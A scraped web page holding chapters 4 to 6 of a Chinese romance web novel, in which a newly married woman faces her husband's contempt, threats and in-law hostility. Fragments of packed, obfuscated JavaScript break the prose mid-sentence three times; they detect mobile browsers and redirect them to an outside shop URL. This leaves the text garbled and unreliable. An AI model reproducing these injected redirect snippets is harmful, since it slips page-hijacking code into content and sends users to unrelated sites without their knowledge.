女子们给他起了个爱称为谢郎,还常常为了这位谢郎,令疏理街道秩序的五城兵马指挥使司大为头疼,甚至不得不下了道禁令严禁百姓围观述职军队。 这几年来,谢瞻一直都是京都闺中少女们的梦中情郎,皇帝是他的亲姑父,父亲是一品镇国公,母亲是琅琊王氏的豪族贵女,他是当之无愧的天之骄子。 即使在宴席上,也从来只有旁人捧着他的份儿,他甚至都懒得去敷衍应酬,只是喝酒,不爱说话,偶尔吝啬地笑笑,对哪个兄弟都爱答不理。 昨天新婚之夜谢瞻没喝酒就离开了,兄弟几个喝大了,大家嚷嚷着今晚谢瞻要为迟到赔罪,谁敬都不能推,挨个给他敬酒。 因谢大郎外放不在家中,便从谢三郎敬到满了十三岁的谢九郎,轮到七郎谢睿的时候,谢睿端着酒走到谢瞻面前。 “七郎恭喜二哥娶妇,愿二哥与二嫂从今后比翼连枝,举案齐眉。” 谢睿弯腰,客气地道。 谢瞻淡“唔”了一声,看着谢睿,却也不接酒,而是懒散地斜倚到了身后的隐囊上。 “原来七弟还认得我这个二哥?” 谢睿诧异地抬头,对上谢瞻那双漆黑的,似笑非笑的狭长凤眼。 谢睿不知为何,后背微微冒出了一层冷汗。 说来,谢瞻这个二哥,他是从小到大都挺怵他的。 谢瞻比谢睿大半旬,大约是因为生母早亡,少年老成,平日里不苟言笑,脾气还十分严厉。 而谢睿性情谦和温吞,便不像其他兄弟似的爱凑上去,每每遇见,谢瞻都是这么一副不冷不热的模样,极少有见他露出其他表情的时候。 又兼他在外打仗时颇有些狠辣的声名在外,行事傲慢乖戾,是以谢睿对这个二哥,既敬且畏。 不过这种敬畏,近来因他娶沈棠宁时的种种傲慢,以及谢睿对沈棠宁生出的怜惜,让他对自己的这位二哥更多了几分不满。 “二哥说笑了,您是我兄长,我怎会不认?”谢睿客气地道。 谢瞻笑了一声,忽抬手拍了拍谢睿的后背。 他下手颇重,谢睿只觉背脊一沉,有些闷疼,接着身体不由僵硬起来,额头上也冒出冷汗。 “谅你也不敢。” 谢瞻嘴角笑着,目光却是冰冷如锥,从谢睿手里拿过酒盏,一饮而尽。 - 宴席散罢,沈棠宁回了静思院。 离开如意馆时她便征得了王氏的同意,静思院毕竟是谢瞻的住处,她住不惯,也不好叨扰谢瞻,想明日搬去一个更安静的地方安心养胎。 王氏觉着有理,便答应了。 自然,这些都是借口罢了。 静思院是谢瞻的住处,新婚夫妻住在一处那是天经地义,但沈棠宁与谢瞻没有感情,甚至,谢瞻对她的厌恶是从不加掩饰。 这种情况,沈棠宁再住下去就叫做鸠占鹊巢了,否则早晚有一天,她会以一种更加狼狈的姿态被人从静思院中赶出来。 因白日还要准备新妇宴,她掌心的烫伤处知缠上了几层纱布,一直没再处理,也不敢漏出来被人看见,锦书和韶音此时便帮她挑破手上的燎泡,上药后仔细包扎好。 忙碌了一天,沈棠宁分外疲惫,以为谢瞻还会如昨日那般住到书房去,就早早熄灯歇下了。 睡得迷迷糊糊间,听到门外似乎传来一些乱哄哄的声音,锦书在呼喊她的名字。 沈棠宁想睁开眼,奈何实在太困。 许久,她终于挣扎着翻起身来,去摸索身边的衣服。 突然屋门“咚”的一声被人从外一脚踹开,那沉重的脚步声径直朝着里屋过来,还未等沈棠宁仓促披上衣服,“唰”的一下,帐子一下叫人拉开了个光明。 明亮的光线刺得沈棠宁闭目,忍不住抬手挡在了眼前。 寒冬腊月,屋门大开,冷风灌进来,裸露在外的两条白藕似的臂起了一层鸡皮疙瘩,沈棠宁单薄的身子打了个寒颤,终于彻底清醒了过来。 床前的谢瞻身形高大,双目冰冷冷地俯视着眼前乌发凌乱,衣衫不整的沈棠宁。 “滚下来。” 4. 第 4 章 “滚下来。” 沈棠宁脑中“嗡”的一声。 她身上仅着中衣。 郭氏为她准备的衣服,薄如蝉翼,拢胸贴腰,领口都放得很低,以至于她中衣底下穿的粉色小衣都若隐若现,露出大片雪白的肌肤。 谢瞻却如视无物般盯着她。 沈棠宁颤抖着手拉起被子,挡在胸口前,“敢问世子,有何事?” 她的声音也如她的人一般矫揉造作。 谢瞻眼中厌恶更甚,拂袖转身。 淡青的纱帐被他的掌风扫到沈棠宁的脸上,冷冷地刮得人脸疼。 “别让我重复第二遍,滚下来!” 沈棠宁心跳如雷,很快穿衣走了下来,走到他的身后有一段距离的地方。 谢瞻站在窗前。 “今早我没同你一道敬茶,你记恨我?” 你不止没和我一道敬茶,从提亲到请期,你甚至都未曾踏足过我沈家。 沈棠宁苦笑。 她不怨谢瞻,事已至此,怨他又能如何,要怪,只能怪她自己命不好。 那一日,两人都喝多了酒,是她误入他的房间,稀里糊涂睡在了一处。 事后,他先是以为她是哪个不知廉耻爬他床上的丫鬟,一怒之下险些将她扼死。 得知她的身份后,谢瞻又直截了当地告诉她不会娶她为妻,若要负责,只能做妾。 她知道自己这辈子是毁了,失身给一个陌生的男人,且还是一个本有婚约的男人,已经没了清白。 但她有自尊,宁可一辈子到姑子庙当姑子也不会与人为妾,自甘轻贱。 所以当时她也告诉谢瞻,她不用谢瞻负责。 回沈家后,她喝了避子汤,只是没想到,一个多月后,她还是有了身孕。 她想瞒着所有人把孩子打掉,大夫却告诉她,她生有不足之症,体质虚弱,若要打胎,恐一尸两命,无论如何都不肯为她配药。 郭氏得知后却高兴坏了,整日都盘算着要如今将她嫁进镇国公府,攀上豪族。 沈棠宁不想自己的孩子生下后被人骂作私生子,无奈之下,她只能由着郭氏去谢家商量亲事,事到如今,除了做妾别无他法。 哪知郭氏却异想天开,竟想逼谢家娶她为妻,她多次劝阻无果,本以为郭氏只是嘴上说说,而谢家也必定不会同意谢瞻娶她为妻。 如此僵持了快要一个月,眼看再不成婚孩子都要藏不住了,突然有一天大街小巷都流传出她与谢瞻婚前无媒苟合,珠胎暗结的流言。 事情越闹越大,有人说是镇国公世子始乱终弃,谢氏家风不正,也有人说是她和叔母郭氏不知廉耻,为了嫁进谢家不择手段,连自己的名声、颜面都不要了,逼得谢家不得不与常家退婚娶了她。 萧老夫人和萧砚的妹妹亲自带人找到在普济寺中躲避风头的沈棠宁,狠狠甩了她一个耳光,叱骂她荡.妇,在寺中闹了个天翻地覆。 而谢瞻,如果说先前他待她仅仅是冷漠,如今他看她的眼神里则充满了轻蔑与不屑,他一定认为她是个满口谎言,寡廉鲜耻的女子。 沈棠宁却无力去解释这一切。 郭氏是她的叔母,两人同气连枝,郭氏所做的一切,在旁人眼中就是她所做的一切。 谢瞻也从来没有给过她解释的机会,他拒绝和她说话。 是以新婚之夜,她对谢瞻承诺,和他成婚,只是为了给腹中孩子一个名分。 生下孩子后,她便会立即与他和离,绝不耽误纠缠。 “我没有记恨世子。” 她如实说道。 谢瞻突然转过身来,盯着她,“是吗?” 他往前走一步,又走一步。 喉咙好像又被人掐住般,沈棠宁呼吸困难,护着小腹后退。 直到她后背撞到墙壁上。 “你以前在沈家,学没学过什么叫做礼义廉耻,是不是见着个男人就恨不得扑上去?” “谢家的男人,你就这么喜欢?你是不是忘了你现在嫁的是谁,嫁进来第一天就敢勾引男人!” 沈棠宁难以置信。 “我不明白你在说什么。” 谢瞻冷冷说道:“你心里清楚我在说什么。” 他的目光又是她熟悉的,冰冷而充满了憎恶。 沈棠宁无疑是怕他的,怕他突然手往下掐住她的脖子,又或者将她推倒在地上一阵拳打脚踢。 她觉得他完全干得出来这种事。 她蜷缩着身子,身体情不自禁地发抖,又因他适才那一番话脸上臊得发烫,一时冷,一时热。 她不是那样的…… “我不明白,”她努力抬起头,迎上他的眼睛,颤声道:“如果世子说的是我勾引七爷,白日里我的确与七爷说过两句话,但始终与他恪守礼仪,从未逾越,谈何勾引?” 这一整天沈棠宁的确见过不少男人,却只与谢七郎和他的小厮安成单独说过两句话。 她把每一句话都细想了一遍,确认自己没有说出过有歧义的话,莫非只要她与男人说话,就是她在勾引男人吗? “自古叔嫂不通问,你和我说恪守礼仪?” 谢瞻低下头,贴着沈棠宁的耳微笑道:“沈姑娘,你该不会是不知道你自己婚前的名声吧?” 他钳住她的下巴,迫使她抬起头来。 她身上散发着淡淡的少女体香,和那天意乱情迷时闻到的味道一模一样。掌下肌肤娇嫩细滑,稍微一动就能看到被他按出来的红印子,离得太近,甚至还都能看清她脸上一根根细小的绒毛。 幽幽烛光下,她眸如点漆,眼中闪着凄楚的泪意,一语不发地望着他。 谢瞻愣了一下,似乎没料到她会哭,脸色慢慢变得僵硬。 男人看不顺眼,打上一拳便是,女人看不顺眼—— 尤其是眼前这样一个漂亮柔弱,手无缚鸡之力的女人,他自然不能动手。 他不知怎么的就烦躁了起来,“哭什么哭,少在我面前装可怜,我不是谢睿,不吃你这一套!” “我告诉你,你既嫁了进来,就给我安分守己在谢家待到把孩子生下来!还有,明天你就给我滚出这个院子,离谢家人远点,别忘了自己姓什么,再让我再看见你恬不知耻地勾引男人,闹出丑事来,我必定亲手取你性命!” 说罢松了沈棠宁,冷着脸匆匆离去。 - 谢嘉妤昨晚和几个姊妹打马吊打到深更半夜,从早起到现在一直在打哈欠。 “茹表姐,一大早你来我这做什么?” 她翻开书案下藏着的话本子,没精打采地吃着点心。 冯茹忙给她递过去一枚梅花香饼,笑道:“妤妹妹,我这不是好奇嘛,听说昨天早晨敬茶礼世子没去,晚上新妇宴他可在?” 谢嘉妤瞥一眼冯茹,接过梅花香饼咬了一口。 冯茹殷切地看着她。 冯茹是府上的表姑娘,太夫人是她的姑祖母,四夫人是她姨母,太夫人过世之后,冯茹一向与谢嘉妤交好,不过再要好,世子夫人的新妇宴和敬茶礼她一个表姑娘也是没资格去的。 谢嘉妤回道:“去了。” 冯茹吃了一惊,说道:“去了?瞻表哥怎的就去了!” “这有什么稀奇,他的媳妇儿,合该是他去的。” 冯茹说道:“好妹妹,你年纪还小有所不知,我以前常听人说,你这位嫂嫂可不是个等闲之辈,那是——阎罗大王的妻,五道将军的妾!” 谢嘉妤疑惑,“你什么意思?” 冯茹却有些犹豫,“哎,要不还是算了,她毕竟是你嫂嫂,我也不过是听旁人说了些闲话……” 谢嘉妤被她勾起了好奇心,岂能任她算了,几番央求之下,冯茹仿佛抵不过谢嘉妤,凑到谢嘉妤耳边耳语一番。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409412|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢嘉妤听罢却立马拉下脸,“茹表姐,你莫要胡说八道!那孩子是不是我二哥的,我二哥岂能不知?他那脾性难道能当冤大头?” 冯茹见谢嘉妤不高兴了,不禁有些讪讪的,忙又赔笑道:“妤妹妹说的对,我也是道听途说的,瞻表哥那么聪明的人,怎么可能叫人随意混淆了血脉?” 谢嘉妤不喜欢沈棠宁,但她容不得旁人诋毁自己的哥哥,便懒得再理睬她。 冯茹眼珠子转了转,又说道:“不过世子夫人在婚前,名声确实不大好,许多世家小姐家里办花宴茶宴都不爱请她,因她一去,说不准谁家兄弟的魂儿就被勾走了。我听说有一回她去蔡侍郎家三娘子的茶宴,没几日蔡三娘子的两位兄长都争着去沈家提亲,兄弟两个还在沈家打了起来,一家人闹得很是不愉快。” “便是说那忠毅侯萧家,一开始萧老夫人不同意忠毅侯娶她,忠毅侯为她屡次忤逆亲娘,放言若娶不到她,此后宁愿孤寡一生,萧老夫人被逼无奈,最后只能同意了这门亲事。” 见谢嘉妤似乎没有阻止她说的意思,冯茹才继续说道:“我一开始也不相信世上会有女子如此轻浮,可是妤妹妹你想想,都说苍蝇不叮无缝的蛋。若是一个女子不给那些男子暗示,男子们会巴巴上门提亲,甚至为了她忤逆含辛茹苦抚养自己长大的母亲?” 谢嘉妤气得猛一拍桌子,怒道:“岂有此理!我本以为她沈家只想攀龙附凤,没看出来她竟还是个如此轻浮的女子!” 冯茹忙劝道:“妤妹妹你先别生气,话虽如此,这许是其中有什么误会呢?世子夫人她毕竟是你的嫂嫂,你还是莫要因为外面那些闲言碎语与她生分了才是!” 谢家于沈家来说便是那等遥不可及的高门贵族,若是沈棠宁没有和谢瞻发生肌肤之亲,只怕沈家几辈子也攀不上他们谢家。 冯茹一番话,谢嘉妤对沈棠宁的印象更差了。 从前谢嘉妤倒是风闻过她的美名,说什么京都第一美人,新婚那日一见,她却觉得沈棠宁长得也不过如此。 小姐妹们聚在一起时私下也会议论,大家都说这位第一美人空有一副好皮囊,人却极是无趣,贪慕虚荣,和她堂妹一道去主家拜访,她身上穿着绫罗锦缎,她那妹妹却穿着不知是她几年前不要的衣服。 她那位叔母平宁侯夫人郭氏最爱带着她穿梭于各权贵世家,吊着人家得了好处,又不肯定下婚事,不知惹恼了多少世家贵族。 偏偏那些男人却一个个都跟中邪了似的愿意前仆后继地去捧着她,哪怕得不到也愿意白白给人利用。 昨天的时候她怀着身孕还特意下厨去讨好她娘,谁不知道大家族的新妇宴就是个名头,用得着她来显摆了? 谢嘉妤越想越气,想到郭氏上门逼婚时的那副丑恶嘴脸,昨天一早的敬茶礼二哥虽然没去,沈棠宁不是也迟到了,教他们一干人好等,这算什么,下马威? 又想到自己日后不仅要和这种女人朝夕相对,还得喊她嫂子,谢嘉妤就恶心极了,顿时也不困了,腾得起身走了出去。 不成,她得叫沈棠宁知道,谁才是这个家的主子! - 沈棠宁一早就搬出了静思院。 王氏给她收拾了个僻静的住处,位于府内的西侧,叫做寻春小榭,另送来不少滋补珍品,嘱咐她好生养胎,每日的晨昏定省也给她全免了。 昨夜谢瞻离开后,沈棠宁便几乎没再睡着,在床上翻来覆去就到了天明,她索性起身开始收拾衣服。 寻春小榭景致好,一涧雪溪穿墙过,院子周围栽满了挺拔松竹柏,看着很是叫人赏心悦目。 大概是昨夜没睡好的缘故,沈棠宁头脑有些晕沉,没有心思再欣赏美景,遂进屋寻了小绷开始绣帕子,借此打发时间。 不知绣了多久,外面忽而吵嚷起来。 不多时,谢嘉妤就怒气冲冲地跑了进来,瞪着沈棠宁一屁股坐下。 5. 第 5 章 “四姑娘?” 沈棠宁有些惊讶,谢嘉妤这么快便知道她搬来了寻春小榭? 她放下小绷,起身给谢嘉妤倒了杯茶,轻声问:“四姑娘寻我有事?” 谢嘉妤四下打量了一番,刚刚她和冯茹去静思院,得知沈棠宁搬出了静思院,两人还有些吃惊。 这会儿见寻春小榭地方偏僻又狭小,觉着沈棠宁必定惹了二哥不快被他从静思院给赶出来了。 “怎么,没事便不能来寻你,你肚子里是怀了个什么宝贝金疙瘩,嫁进来连我都见不得你了?”谢嘉妤翻了白眼道。 “四姑娘误会了,我不是这个意思。” 这时冯茹从门外走了进来,对着沈棠宁行了一礼,笑道:“见过世子夫人,我闺名冯茹,是四夫人的外甥女,你叫我阿茹便好。” 沈棠宁唤锦书端了些新做的糕点进来。 谢嘉妤显然不是来找她品茶吃糕的,皱眉将沈棠宁从头到脚打量了好一番,叱问道:“昨日早晨敬茶,你为何迟到,让我和我爹娘、一众叔婶好等,你架子倒是不小!” 沈棠宁解释道:“是我的错,我初来乍到,对府内不甚熟悉,以致迟了时辰,失礼之处,还望四姑娘海涵。” 谢嘉妤并不知导致沈棠宁迟到的罪魁祸首是她那好哥哥,沈棠宁肯乖乖认错是她没想到的,谢嘉妤愣了一下,心想这个沈氏手段果真不一般,说话细声细气含羞带怯似的,怪不得能把男人们迷得神魂颠倒。 她冷哼了一声,虎着脸警告她道:“你既知道有错,就该好好反省自己,你婚前的那些破事早就是人尽皆知,我也懒得再和你掰扯。” “嫁进了谢家你就老老实实地夹起尾巴做人,我娘掌管中馈,每天事务繁多,你若敢惹是生非劳她为你操心,休怪我对你不客气!” 谢嘉妤风风火火地闯进来,又风风火火地走了。 冯茹坐上前来安慰沈棠宁,“世子夫人别放心上,阿妤自小千娇百宠,就是这个脾气,她没有恶意的。” 适才谢嘉妤说话时冯茹就在一旁不动声色地打量沈棠宁,这会儿凑近了,她发觉沈棠宁皮肤光滑得犹如牛乳一般,又细又白,也不知道是什么养出来的。 沈棠宁微微笑了笑,“多谢茹姑娘,我没有放在心上。” 冯茹又拿起沈棠宁刚绣的小绷,一阵赞不绝口的夸赞。 大婚时谢家亲戚众多,沈棠宁不记得她见过冯茹,冯茹对她热情地却像是失散多年的亲姐妹。 不过冯茹很快发现,沈棠宁似乎不太爱说话,大部分时候都是她在说,沈棠宁附和她。 “宁妹妹,嫁进来,真是委屈你了,适才阿妤妹妹那样说你,其实你心里也难受极了,对吧?” 两人序过齿,冯茹比沈棠宁大四个月,就亲亲热热热地宁妹妹长宁妹妹短的叫了起来。 冯茹说着说着突然叹了一口气,拉着沈棠宁的手道:“瞻表哥和令瑶妹妹从小一起长大,也就只有令瑶妹妹能受得了他的脾气,瞻表哥看着面冷实则心热,唯独对令瑶妹妹格外耐心,两人本是天造地设的一对,谁知阴差阳错,瞻表哥娶了你,心里难免怨怼。” “他并不是有意针对你,宁妹妹,你千万别胡思乱想,瞻表哥是个重情重义的男子,他既已娶了你,你腹中还怀着他的骨肉,有什么情谊还能越过夫妻之情,便是百炼钢,也终究会化作绕指柔。” 冯茹走后,韶音进来“砰”的一声扔了她喝过的茶盏,气呼呼道:“真是灶王爷扫院子,多管闲事,要她多嘴了!你瞧瞧她说的都是些什么话,还一口一个瞻表哥令瑶妹妹,现在咱们姑娘才是世子夫人,她还提什么永宜县主,分明是唯恐天下不乱!” 难受个屁,她们姑娘压根就不喜欢这个谢世子,否则听了这话还不得呕死了! 锦书关好门,瞪了韶音一眼,对沈棠宁道:“韶音话糙理不糙,姑娘,这个表姑娘口蜜腹剑,话说的好听,来者却是不善,您可莫要听信了,日后千万小心她。” 锦书和韶音都是从小和沈棠宁一起长大的,她们姑娘素来性子温柔纯善,这大家族里面人繁事多,仿佛人人两面三刀,像个吃人的魔窟,沈棠宁腹中怀的说不准还是长房嫡子,两个丫鬟真担心她会吃不消。 沈棠宁心中一暖,冯茹的话她其实没放在心上。 “好姐姐,你们放心,我清楚自己的身份,日后我就在这院子里养胎,哪里也不去,什么事都不招惹,这下你们总该放心了吧?” 下晌沈棠宁身体就有些不舒服,头晕目眩,躺在床上起不来,还时不时地咳嗽。 两个丫鬟担心她着凉发热了,都要去请大夫,沈棠宁拉着不让去,“昨天累着了,我就是有些难受,睡一觉就好了。” 一来明日还要回门,二来谢嘉妤刚从她屋里出去她就病倒了,传出去恐怕会被人误会她是在拿乔,只怕谢嘉妤对她的误会更深了。 沈棠宁强撑着晚膳的时候吃了些东西,下半夜还是发起了高烧。 锦书连忙去找王氏,王氏得知后半夜起床,打发人去请了宫中的御医过来。 好在沈棠宁只是略感风寒,鉴于她体质单弱,御医便只开了几贴稳妥的药方子。 如此一来,回门必定是回不成了。 沈棠宁在昏睡时迷迷糊糊地想,谢瞻不愿和沈家沾亲带故,若是回门时娘只看见她一个人回去,心里必定会难过。 自从沈棠宁的父亲沈弘彰去世之后,沈棠宁的叔父便沈弘谦继任了爵位,母亲温氏的身体因一直不大好,沈棠宁与谢瞻奉子成婚这事,她直到现在也没敢告诉温氏。 这样也好,她与谢瞻都不回去,温氏会以为是她生病的缘故。 新妇回门,王氏不想被人背后指点谢家托大,准备了整整三车厚礼,原本想让谢瞻亲自将回门礼送到沈家去,奈何谢瞻一整天却连个人影都找不到。 饶是如此,光看着谢家这满车沉甸甸的珍宝锦缎,也把沈弘谦和郭氏一家给高兴坏了。 京都城里凡有头有脸的人家都知道谢家结了门上不得高台盘的姻亲,谢家自己都瞧不上沈弘谦这个亲家,可婚事到底是成了,沈弘谦的侄女肚子里还怀着谢家长房的第一个孩子,说不得还是个嫡孙。 官场上人个个是人精,有些见风使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409413|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舵的就心照不宣地跟沈弘谦热络了起来,为他大开方便之门。 谢嘉妤早晨从沈棠宁屋里出来 ,晚上沈棠宁就发起了高烧,王氏找到谢嘉妤把她好训一顿,训得谢嘉妤委屈极了,大声道:“娘怎么不说她是装病,就因为我白日里说了她几句,故意和我别苗头!” 王氏斥道:“她是不是装病御医能看不出来?死丫头,你倒是不打自招,没事去招惹她做什么?这是你二哥的第一个孩子,孩子出了事你能担待得起?!” 今早王氏去看了沈棠宁,沈棠宁病得两颧烧红,连起都起不来,确实不是装病。 她这个女儿真是又傻又犟嘴,没事去找嫂子的麻烦,她谢氏高门大户,素来重视名声,若传出去小姑子害的嫂子掉了孩子,这事岂不是叫人平白议论谢嘉妤仗势欺人。 王氏责罚谢嘉妤在房中反省,等改日沈棠宁身体好了一些,又去看望她道:“你好好养病,等你病好了,正巧府里到了做冬衣的时令,我叫人给你做几身厚实的好衣裳,免得再着凉冻着了。” 沈棠宁感激万分,她病的这段时日王氏每日都会过来看她,对她丝毫没有轻慢之意,即便只是为了她腹中的孩子,她也很高兴。 沈棠宁想要下来给王氏行礼,王氏却扶住了她,又细心嘱咐了几句才离开。 …… 夜晚,戌时的梆子悠悠响起,夜空中闪着几粒细碎的星子,在庭中撒下一地白霜。 沈棠宁养病养了有七八日,病情好转了不少。 无事的时候,她最喜欢做的事情画画、抚琴与抄书。 三者都可以使人心情平静,也能令人沉浸其中,忘记一切烦恼。 抄写完的书还能拿出去卖,书肆老板说她写的字好看,一本书能卖两三两银子。 眼下沈棠宁在抄的是经书。 她今日觉得身体大好,早晨便去了如意馆给王氏请安,发现王氏喜欢看经书,只是眼神不大好,经常要凑到书上才能看到上面的字。 沈棠宁便准备给王氏抄一本字体大些的经书,这样王氏再看经书时就不容易伤到眼睛。 不知不觉抄到夜色越来越深,一直到院子外响起一阵骚动声,似乎有人过来。 沈棠宁回过神,搁下笔,忍不住咳嗽两声。 这么晚了,还有谁会过来找她? “姑娘,姑娘不好了!” 韶音气喘吁吁地跑进来,指着门外惊恐道:“他、他来了!” 这世上能让韶音怕成这样的只有一个人—— 谢瞻。 沈棠宁脑中有一瞬的空白。 为了避免谢瞻再误会她勾引男人,这段时日她几乎足不出户,就今天早晨去给王氏请过安,也没碰见过谢七郎,更没和别的男人说过话…… 沈棠宁按下心中的不安,赶紧把桌上还没抄完的经书收拾了堆到一边去。 主仆两人正手忙脚乱着,梅花暖帘“哗”的一声被人从外扯开,紧接着,一股寒风朝着屋内涌了进来。 屋内温暖如春。 谢瞻大步走进来,皱眉看着眼前似乎如临大敌的主仆两人。 6. 第 6 章 今天谢瞻下衙回来,王氏把他叫到如意馆。 “阿沈病了几日,自从她嫁进来你都再没去看过她,就算是做个样子,这几日你若无事,去看看她吧,问问孩子怎么样。” 谢瞻想了想,人不是他想娶的,孩子毕竟是他的,就去了。 谢瞻站在屋门口,大冬天的,他竟然还穿着一身单衣,玄色的长袍衬得他面庞冷峻而棱角分明。 “愣着做什么,去倒茶。” 主仆两个都站着一动不动,谢瞻不耐烦地呵斥道。 韶音不放心地回头看了沈棠宁一眼,去耳房沏热茶。 谢瞻自己找了个地方坐下,扭头见沈棠宁还低着头杵着,身上披着件玉兰色的梅花小衫,纤腰一把,清瘦纤弱,也看不出显怀,身量很是单薄。 “你是准备在那里站一辈子?”他冷冷道。 沈棠宁迟疑了一下,移步坐到谢瞻的对侧。 韶音来上了热茶,谢瞻喝了热茶,沈棠宁不说话。 谢瞻又喝了一盏,沈棠宁还不说话。 真跟个哑巴似的,一巴掌打不出句话来,谢瞻耐性告罄,“砰”的一声把茶盏放下。 “孩子怎么样?” “孩子……挺好的!” 他突然造访,且语气不善的样子,沈棠宁吓得心口猛地一跳。说罢,心脏还在砰砰动着,她深吸口气,抬头小心地看向谢瞻。 他肯来看望她,关心孩子如何,心里其实也是念着这个孩子的吧? 谢瞻察觉到她的目光,飞快地侧过脸盯住她,眯了眯狭长的凤眼。 沈棠宁忙又低下头。 想了想,鼓足勇气说道:“它是个很乖很懂事的孩子,我刚怀它的时候,听说刚有身子的妇人多少都会有些反应,或是呕吐,或是食欲不振,或是浑身乏力,但是它直到现在都一点没折腾我,连大夫也说,这个孩子生来就乖巧。” 她说话时轻言细语,垂着长长的睫毛,露出耳后一截莹润的肌肤,在明烛的映照下瓷白得宛如一块盈盈暖玉。 这个女人就是这样,无论你跟她说什么,她都不卑不亢地回你。 谢瞻忽觉得有些烦躁,也有些无趣,转而看着窗外,又喝了两口茶道:“孩子都没生,能看出什么脾性,奉承你都听不出来。” 沈棠宁轻声道:“就算是奉承,这话也是好听的,大凡夫妻生儿育女,都希望孩子们能孝顺懂事。” “那你也得把孩子生下来再说,三天两头生病,不知道还以为我谢家苛待了你!” 她说一句,他便要顶她一句。 沈棠宁抿紧唇。 她把偏过脸去,耳旁落下两缕鸦浓的发,片刻后道:“是我的错,以后我会好好养胎,不会再给夫人添麻烦了。” 说完这些话,屋里就沉默了下来。 沈棠宁原本就是个极温柔安静的性子,谢瞻又不喜欢她,两人坐在一起除了聊孩子似乎无话可说。 沈棠宁带进谢家的另一个丫鬟揽月在门外听了许久,急坏了。 郭氏之所以千方百计把沈棠宁嫁进谢家,为的就是想用侄女拢住这位谢世子的心,待日后有用之时,侄女随便给谢世子吹口枕边风,便是从嘴边下漏出来的,都够平宁侯府和郭家吃香喝辣了。 就算谢瞻对沈棠宁没有感情,情分都是处出来的,沈棠宁生得又花容月貌,想要抓住男人的心简直易如反掌。 好不容易谢瞻来了一次,奈何沈棠宁自己不主动,揽月看在眼里急在心里,心一横,索性接着倒茶的籍口打帘走了进去。 “世子爷,您可知道我们世子夫人为何生病呀?她天天盼,夜夜盼,盼您盼得夜里都睡不香,岂能不病倒?不过当您的面,不好意思说罢了,阿弥陀佛,今晚总算是把您给盼过来了!您看天色也不早了,不如您今晚就在这里歇下了?” 揽月一面笑盈盈地说着,一面把谢瞻面前茶水斟满,姿态娇柔。 盼得夜里睡不着,盼得害了病? 谢瞻瞥了沈棠宁一眼。 沈棠宁风寒初愈,她原本便生得弱不禁风,这一病人又瘦了些,下颌尖尖,衬得一双杏眼乌圆黑浓,望向他时脸颊微红,颇有几分楚楚可怜的味道。 这关键时候,偏沈棠宁喉咙发痒,她竭力忍着,脸都憋红了,一听揽月这般胡说八道,赶紧打发她道:“咳……你莫要浑说,先出去,这里不用你伺候!” 揽月见谢瞻不说话,便大着胆子又上前一步,从怀里摸出个金丝香囊递过去,柔声说道:“世子爷您看,这是我们世子夫人睡不着的时候做给您的香囊,您瞧瞧这针法走线,多漂亮,您体谅我们世子夫人一片心意,就收下吧!” 那香囊上绣着一对交颈缠绵的鸳鸯,颜色也是他平日里最爱穿的玄色。谢瞻好像有些兴趣,把香囊拾起来举到眼前。 “心意?” 他皮笑肉不笑了一下。 谢瞻慢慢转头看向沈棠宁,看嘴角人分明是在笑着,漆黑的眼眸里却透着一股讥诮的冷意。 “世子夫人,新婚之夜你说了什么,这么快便忘了,还需要我来提醒你?” 新婚之夜,她说过生下孩子之后她便不会再来纠缠他。 她当然记得…… 沈棠宁闭目,香囊掷到她的脸上,金丝刮得她的脸颊疼了一下。 谢瞻丢了香囊便开门走了,门外的寒风肆无忌惮地吹涌到在沈棠宁单薄的身上。 揽月不知自己哪里触了谢瞻的逆鳞,看了看沈棠宁,又看了看门外,一咬牙不甘心地又追了出去,“世子爷!我,我们世子夫人病还没好……” “滚!” 谢瞻的怒吼声从院子里传进来。 沈棠宁抖了一下,才睁开双眼。 外面的丫鬟们都害怕极了,纷纷大气不敢喘一声缩在角落里,韶音和锦书两个大丫鬟赶忙跑进屋,查看沈棠宁有没有受伤。 过了片刻,揽月才从外面走了进来,小声道:“世子爷走了。” 沈棠宁把香囊放到桌上,沉声问她:“你为何要擅作主张?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409414|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 揽月面无惭色,理直气壮道:“奴婢不是自作主张,奴婢是为了大姑娘你好,姑娘你嫁进来镇国公府后光想着如何保全自己、讨好王氏夫人,怕是早就将侯夫人嘱咐你的话都抛之了脑后!” “为我好,你都不知他的脾气性格,如何便是为我好?” 揽月嘀咕道:“谁又知道他这么喜怒无常,一只香囊都能惹他发怒!” “以后你不要再自作主张。” 沈棠宁说罢,便好似用尽了力气,声音也梗了一下。 她捂住隐隐作痛的腹,韶音和锦书见她脸色不对,慌忙又是倒茶又是扶她上床。 